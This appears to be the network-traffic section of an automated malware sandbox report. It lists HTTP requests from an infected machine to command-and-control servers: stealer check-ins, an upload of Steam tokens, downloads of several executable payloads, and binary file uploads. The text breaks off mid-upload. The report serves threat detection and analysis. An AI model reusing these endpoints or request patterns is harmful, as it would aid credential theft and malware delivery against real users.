Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 2d 2d 0d 0a Data Ascii: ------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="file"------CGCAKKKEGCAKJKFIIEGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="message"ybncbhylepme------KKKEBKJJDGHCBGCAAKEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJECGHJDBFIJJJKEHCBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007055001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007060001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007061001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="build"mars------CAAAFCAKKKFBFIDGDBFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007062001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007063001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="build"mars------ECAKKKKJDBKKFIEBKEHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 2d 2d 0d 0a Data Ascii: ------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="build"mars------KKKJKEBKFCAAECAAAAAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtejj5vs.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------uuSSWS2IHkhgsC2jJMoZlJData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 75 53 53 57 53 32 49 48 6b 68 67 73 43 32 6a 4a 4d 6f 5a 6c 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 69 6c 61 6b 61 77 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 0e ce 76 81 b1 98 b2 54 28 a3 d4 58 43 17 1a 49 71 39 27 67 b1 e3 b5 c5 45 67 2b be 63 de 41 18 d5 63 83 38 ac 67 10 6b 15 d8 35 aa 78 02 be bb 22 3e d1 8f 42 e6 df 16 6c e3 2a 72 7f ac 46 23 b2 a9 b1 ec 7f 3a a9 30 97 33 84 49 e6 2d b3 86 aa b9 3c 83 35 bb 0d 12 f0 eb e2 fc cd 76 c0 f1 3b 25 1f 5f c9 21 b9 93 bb c4 1e ac 80 80 2e 01 a5 f2 47 5b 0c 8e 00 cf cc 37 d0 f1 c4 3f c3 21 df 5d b4 3f fa 19 02 c1 26 a4 df 5f 45 b3 8f 14 83 81 cc 2c 71 33 b1 4e f2 ef 4f 4a ba da 82 c1 cd ec bf 5f 82 58 a8 e4 ed 5b c8 8d 54 5c 2a 65 4a 02 5d 3f 40 4d 64 a4 85 83 8d 1c 01 7c 7d 39 ab f5 3e e5 a3 5e bd 86 c9 b4 9e d9 43 14 9b cf 40 5e d4 76 d0 9d 8e 54 54 3c c6 e6 15 a6 a6 37 2b db 88 5d 15 38 8c af 12 13 87 98 ee 2f 25 43 96 8a ad ae 2e 22 98 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 75 53 53 57 53 32 49 48 6b 68 67 73 43 32 6a 4a 4d 6f 5a 6c 4a 2d 2d 0d 0a Data Ascii: --------------------------uuSSWS2IHkhgsC2jJMoZlJContent-Disposition: form-data; name="file"; filename="Pilakawe.bin"Content-Type: application/octet-streamLvT(XCIq9'gEg+cAc8gk5x">BlrF#:03I-<5v;%_!.G[7?!]?&_E,q3NOJ_X[T\eJ]?@Md\|}9>^C@^vTT<7+]8/%C."--------------------------uuSSWS2IHkhgsC2jJMoZlJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtejj5vs.topAccept: /Content-Length: 76139Content-Type: multipart/form-data; boundary=------------------------qR368zxNu9MnpsPAtbq4gjData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 71 52 33 36 38 7a 78 4e 75 39 4d 6e 70 73 50 41 74 62 71 34 67 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 63 75 62 6f 74 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 10 87 3d c4 4d 8e 15 68 3c 56 df 3a b0 b0 7c 11 c0 e2 6d ab 42 b1 cb b9 9b 2b dc 92 57 7d 8a 24 34 10 ae af 10 fc 80 ee b4 8e d5 fc 39 1b 61 18 a6 fe 4c 45 b0 e1 ea 3c 7b a5 6f c4 02 ba 4f 6f b1 e5 3d 72 b4 6f 90 f6 75 0f bb 56 bf 2c ba 35 61 34 1e 28 1c 89 50 65 11 e9 97 ea 11 ea d1 26 19 a5 ee 85 9b b0 25 f4 db bc c4 31 38 69 5d 94 74 e5 c8 93 59 a3 60 55 d3 93 bf 95 a0 3b 52 bb 7f a2 70 b2 ab c9 05 22 dc c0 c9 20 0b cb a6 e8 af 9e c7 b0 f2 00 5f 2e 24 e7 32 20 eb fe ff 7b c9 1a c4 28 a3 5c 76 c0 3d fb 59 4b 5a 90 b0 bc c9 fd 61 80 32 20 f5 0c 17 cb 2f 63 b2 ae d2 e8 71 c4 f7 21 f9 f4 5a 77 33 30 85 9a d6 b9 ee 27 49 93 59 70 e9 df b5 a6 02 0d 64 20 f1 54 a7 84 26 d8 9d b2 89 39 d5 a6 b2 5e ce 60 3f c5 ac 0e de 9d a3 84 d1 10 9f cd de c7 06 9f 6b cc 05 1f f1 cb 45 d5 8c 1f c9 fd 74 27 91 55 02 e5 33 36 28 a8 bf 31 1f 77 a9 67 4b 6b b3 05 2a dd 4e d3 73 bf b7 ba 7d 94 ab d2 50 4f e5 be 5b 13 80 0b bb 9b e1 2c bf 6f b6 af 7f b6 3a b6 59 2f 36 05 17 5a 61 2d 89 27 2d 73 93 64 2e 48 83 70 d7 fd 3f 83 4f fc a8 ca bd 35 1a ef 32 87 79 95 c7 a6 a0 bc d2 68 9c 0e 75 e9 af ef c6 1a 4b 0d 99 f1 ba bb 02 b1 d2 e9 47 e6 49 cf 22 